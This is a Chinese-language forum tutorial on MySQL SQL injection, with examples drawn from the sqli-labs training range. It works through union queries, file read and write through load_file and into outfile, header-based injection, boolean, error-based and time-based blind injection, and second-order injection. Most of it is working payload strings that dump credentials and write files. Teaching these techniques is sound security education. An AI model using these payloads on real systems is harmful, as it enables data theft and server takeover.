Web通用漏洞--sql注入

打印 上一主题 下一主题

主题 909|帖子 909|积分 2727

SQL注入

mysql注入目的:获取当前web权限
mysql注入--常规查询&union联合查询


  • MYSQL--Web组成架构
    服务器搭建web服务可能存在多个站点搭建在一台服务器中,数据集中存储在数据库中,因此对数据库的管理也可以分为两种架构:
    统一用户管理数据库,即对所有站点数据库的管理均为Root权限用户管理
    一对一用户管理数据库,即对不同站点数据库管理分为不同用户管理各自站点数据信息(最小权限原则)
  • 判断注入点的四个信息
    系统----Windows/Linux(大小写敏感与否/文件路径选择)
  1. @@version_compile_os  //查看当前数据库所在服务器系统
复制代码
用户----Root/普通用户(存在root权限与否)
  1. user()                //查看当前接入数据库用户
复制代码
数据库名--为后面猜解数据表、列名、数据做准备
  1. database()                //查看当前接入数据库名称
复制代码
数据库版本--是否存在information_schema默认库
  1. version()                //查看当前接入数据库版本
复制代码

  • 根据以上信息选择注入方案
    Root权限用户:先测试文件读写,后测试读取数据(sql注入最终目的拿到Web权限,如果存在文件读写,权限直接获取)
    非Root权限用户:直接测试读取数据
  • 注入方法
    借助MYSQL5.0以上版本自带information_schema数据库
  1. information_schema
  2. 存储MYSQL服务中所有数据库的数据库名、表名、列名的数据库
  3. information_schema.schemata       
  4. 记录MYSQL服务中所有数据库名的数据表               
  5. schema_name
  6. information_schema.schemata中记录数据库名称的列名
  7. information_schema.tables
  8. 记录MYSQL服务中所有数据表信息的数据表
  9. table_schema
  10. information_schema.tables中记录数据库名称的列名
  11. table_name
  12. information_schema,tables中记录数据表名称的列名
  13. information_schema.columns
  14. 记录MYSQL服务中所有列名信息的数据表
  15. column_name
  16. information_schema.columns中记录列名信息的列名
复制代码
手工注入:
使用order by(根据第几个字段排序)判断字段个数
以sqli-labs靶场举例当order by 3时回显正常,order by 4 数据库报错

使用select 1,2,3,4,5这样的方法查看数据回显位置,通过注入语句可知,2、3的位置为数据回显位置

通过user()、databases()函数查看当前用户和数据库名称

通过@@version_compile_os、version()查看数据库所在操作系统和数据库版本信息

union select 1,2, group_concat(table_name) from information_schema.tables where table_schema='security' --+查询该数据库中的表

union select 1,2, group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+查询表中列名

union select 1,username,password from users--+查询数据

mysql注入--跨库查询&root权限

当Web站点服务器使用Root权限用户统一管理MYSQL服务,服务器中部署的其他站点也可以通过information_schema数据库进行数据查询
mysql注入--文件读写&load_file

在使用sql语句注入时可以利用mysql数据库中内置函数对服务器中的文件进行读写操作,从而达到获取权限的目标
  1. load_file()
  2. 加载文件内容
  3. into outfile
  4. 将数据信息导入文件
复制代码
文件读写操作受条件影响

  • 当前数据库用户权限
  • 必须指定文件完整的路径
  • 服务器secure-file-priv设置(在一些高版本的MYSQL服务中,默认开启了开启了限制)
id=-1' union select%201,load_file('c:/1.txt'),3--+读取服务器中C盘的1.txt文件

id=-1' union select 1,2,';' into outfile 'c:/1.php' --+将查询内容输出到指定文件


在进行文件读写时,受限制因素太多,因此很难实现
mysql注入--数据请求类型&符号干扰

在开发者进行编写sql语句进行查询时,由于传参的数据类型或者slq语句写法不同导致sql注入拼接失败

  • 数字型(无符号干扰)
  1. select * from news where id=$id;
复制代码
在没有符号干扰的情况下可以直接进行注入
2. 字符型(单引号干扰)
  1. select * from news where id='$id';
复制代码
由于传参值可能是字符型,因此传参值要用引号括起来,在进行sql注入时要进行sql语句闭合
  1. ?id=1' union select 1,2,3,4,5,6 --+
  2. ?id=1' union select 1,2,3,4,5,6 and '1'='1
复制代码

  • 搜索型(模糊查询符号干扰)
  1. select * from news where id like '%$id%';
复制代码
拼接语句可成为
  1. ?id=1%' union select 1,2,3,4,5,6 --+
  2. ?id=1%' union select 1,2,3,4,5,6 and '%1%'='%1
复制代码

  • 框架类
  1. select * from news where id=('1');
  2. select * from news where (id='1');
复制代码
拼接语句为
  1. ?id=-1') union select 1,2,3,4,5,6--+
  2. ?id=-1') union select 1,2,3,4,5,6 and ('1')=('1
复制代码
mysql注入-数据请求方法&GET&POST&SERVER

全局变量方法:GET POST SERVER FILES HTTP头等
User-Agent:
使得服务器能够识别客户使用的操作系统,游览器版本等.(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)
Cookie:
网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP]).
Rerferer:浏览器向 WEB 服务器表明自己是从哪个页面链接过来的.
Host:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号
如功能点:

  • 用户登录时
  • 登录判断IP时
    是PHP特性中的$_SERVER['HTTP_X_FORWARDED_FOR'];接受IP的绕过(绕过)
    实现:代码配置固定IP去判断-策略绕过
    实现:数据库白名单IP去判断-select注入
    实现:防注入记录IP去保存数据库-insert注入
  • 文件上传将文件名写入数据库-insert注入
PHP-MYSQL-数据请求格式
1、数据采用统一格式传输,后端进行格式解析带入数据库(json)
2、数据采用加密编码传输,后端进行解密解码带入数据库(base64)
myslq注入--注入函数(盲注)&布尔&报错&时间

盲注就是在程序设计过程中,由于一些原因,数据库所查询的数据不会进行回显,这个时候我们就需要使用一些方法进行判断。

  • 布尔盲注
    参考文章布尔盲注详解
    布尔盲注利用逻辑判断来进行信息查询的一种手段,需要web页面在查询语句逻辑true和false时候做出不同的反应


  • length()猜解数据库名称长度
  1. ?id=1' and length(database())=8--+
  2. ?id=1' and length(database())>8--+
复制代码

  • left()猜解数据库名字符
  1. ?id=1' and left(database(),1)='s'--+
  2. ?id=1' and left(database(),2)='se'--+  
复制代码

  • substr()猜解数据库名字符
  1. ?id=1' and substr(database(),1,1)='s'--+
  2. ?id=1' and substr(database(),2,1)='e'--+
复制代码

  • ascii()&substr()猜解数据库名字符ASCII码值
  1. ?id=1' and ascii(substr(database(),1,1))=115--+
  2. ?id=1' and ascii(substr(database(),1,1))>115--+
复制代码

  • count()猜解数据库中数据表的个数
  1. ?id=1'  and (select count(table_name) from information_schema.tables where table_schema='security')=4
  2. ?id=1'  and (select count(table_name) from information_schema.tables where table_schema='security')>4
复制代码

  • length()&limit猜解数据表名长度
  1. ?id=1'  and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6--+
复制代码

  • left()&limit猜解数据表名称
  1. ?id=1'  and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e'--+
复制代码

  • ascii()&left()通过ascii码猜解数据表名称
  1. ?id=1'  and ascii(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=101--+
复制代码
-count()猜解指定表中的字段数量
  1. ?id=1'  and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=3--+
复制代码
-length()查询指定数据表中的指定字段名称的长度
  1. ?id=1'and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2--+
复制代码
-left()猜解指定表中指定字段的名称
  1. ?id=1'  and left((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1)='i'--+
复制代码
-length()猜解数据长度
  1. ?id=1'and length((select username from users limit 0,1))=4--+
复制代码
-ascii()&left()猜解数据
  1. ?id=1'and ascii(left((select username from users limit 0,1),1))='68'--+
复制代码


  • updatexml()
    函数利用格式大致为第一个字段和第三个字段可以随便写,第二个字段需要使用concat()函数将分隔符号和查询的语句进行连接,其中第二个字段的分隔符是ASCII码表中使用16进制数代表~,这个是将报错信息显示出来的关键,在第二个字段可以输入想要执行的语句,具体讲解可以看参考文章
  1. ?id=1'and updatexml(1,concat(0x7e,database(),0x7e),1)--+
  2. ?id=1'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
复制代码

  • etractvalue()
    该函数使用方法大致与updatexml()一致,比updatexml()少了一个字段
  1. ?id=1'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+
复制代码
报错注入有很多方法,但是由于数据库版本问题等,上述两个函数是最常用的,更多注入方法可以参考12种报错注入+万能语句
3. 延时注入
延时注入是通过sleep()函数和if()函数联动,判断输入条件的true或flase使数据库执行sleep()函数进行延时查询,从而判断输入条件的true或flase。
例如:通过判断if语句中第一个条件是否为true,true执行sleep(3),flase执行sleep(),通过判断页面加载是否有延时而了解语句执行的结果,通常执行语句与布尔注入相结合。
  1. ?id=1' and if(1=1,sleep(3),sleep(0))--+
复制代码
总结
使用场景:

  • 布尔盲注
    页面有逻辑显示,当语句逻辑正确或错误有不同的显示数据时可以使用布尔盲注,布尔盲注必须要有逻辑回显
  • 报错盲注
    当查询sql语句时,页面返回sql语句报错信息时存在报错注入,报错盲注必须要有sql报错信息
  • 延时注入
    延时注入既不用有逻辑回显,也不用有报错信息,但是最为复杂
    基于上述注入方法繁琐程度,一般都会选择采用工具或编写脚本进行注入。
mysql注入--二次注入

二次注入的意思是指,当用户输入恶意sql语句,将恶意sql语句在进行输入的时候由于过滤或者转义等各种原因,sql语句在存入数据库的时候并不会触发,当Web页面为了实现某种功能再次调用该sql语句时,由于没有再次过滤或者转移,从而导致恶意sql语句被执行,实现二次注入。
以sqli-libs中Less24为例
注入过程大致为,在登陆界面创建用户时候在用户名选项中输入不会触发执行的恶意sql语句,这时服务器通过转义将恶意sql语句存放入数据库,在用户创建成功后登录后进行密码修改,在密码修改时,服务器会带调用用户名选项数据但不会进行转义从而实现sql注入的原理
创建用户源代码,其中这创建用户的功能实现了将恶意sql语句注入数据库,但不会触发的条件
[code]

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

反转基因福娃

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表